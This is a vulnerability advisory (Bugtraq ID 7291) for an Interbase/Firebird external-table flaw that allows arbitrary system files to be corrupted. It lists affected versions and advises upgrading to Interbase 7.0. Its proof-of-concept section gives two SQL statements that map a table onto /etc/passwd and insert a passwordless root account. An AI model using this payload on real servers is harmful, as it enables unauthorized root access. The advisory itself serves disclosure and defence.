Interbase External Table File Verification Vulnerability

BID:7291

Info

Interbase External Table File Verification Vulnerability

Bugtraq ID: 7291
Class: Design Error
CVE:
Remote: Yes
Local: Yes
Published: Apr 05 2003 12:00AM
Updated: Apr 05 2003 12:00AM
Credit: Discovery of this vulnerability credited to Kotala Zdenìk <[email protected]>.
Vulnerable: Firebird Firebird 1.0.2
+ FreeBSD FreeBSD 4.7
Borland/Inprise Interbase 6.5
Borland/Inprise Interbase 6.4
Borland/Inprise Interbase 6.0
- Cobalt Qube 3.0
- Cobalt RaQ 4.0
- Cobalt RaQ 3.0
- Debian Linux 2.2 sparc
- Debian Linux 2.2 powerpc
- Debian Linux 2.2 IA-32
- Debian Linux 2.2 arm
- Debian Linux 2.2 alpha
- Debian Linux 2.2 68k
- HP HP-UX 11.0
- Mandriva Linux Mandrake 8.2
- Mandriva Linux Mandrake 8.1 ia64
- Mandriva Linux Mandrake 8.1
- Mandriva Linux Mandrake 8.0 ppc
- Mandriva Linux Mandrake 8.0
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0
- Redhat Linux 7.3 i386
- Redhat Linux 7.2 ia64
- Redhat Linux 7.2 i386
- Redhat Linux 7.1 ia64
- Redhat Linux 7.1 i386
- Redhat Linux 7.1 alpha
- Redhat Linux 7.0 sparc
- Redhat Linux 7.0 i386
- Redhat Linux 7.0 alpha
- Redhat Linux 6.2 sparc
- Redhat Linux 6.2 i386
- Redhat Linux 6.2 alpha
- SCO Unixware 7.1
- Sun Solaris 8_sparc
- SuSE Linux 8.0 i386
- SuSE Linux 7.3 sparc
- SuSE Linux 7.3 ppc
- SuSE Linux 7.3 i386
- SuSE Linux 7.2 i386
- SuSE Linux 7.1 x86
- SuSE Linux 7.1 sparc
- SuSE Linux 7.1 ppc
- SuSE Linux 7.1 alpha
- SuSE Linux 7.0 sparc
- SuSE Linux 7.0 ppc
- SuSE Linux 7.0 i386
- SuSE Linux 7.0 alpha
- SuSE Linux 6.4 ppc
- SuSE Linux 6.4 i386
- SuSE Linux 6.4 alpha
Not Vulnerable: Borland/Inprise Interbase 7.0

Discussion

Interbase External Table File Verification Vulnerability

A vulnerability has been reported for Interbase that may result in the corruption of arbitrary system files. The vulnerability exists due to insufficient checks performed when creating or manipulating external databases.

Exploit / POC

Interbase External Table File Verification Vulnerability

The following proof of concept was provided:

create table test external '/etc/passwd' (id char(80));
insert into test values('r00t::0:0:root:/root:/bin/bash');

Solution / Fix

Interbase External Table File Verification Vulnerability

Solution:
This vulnerability does not affect Interbase 7.0. Affected users are advised to upgrade.

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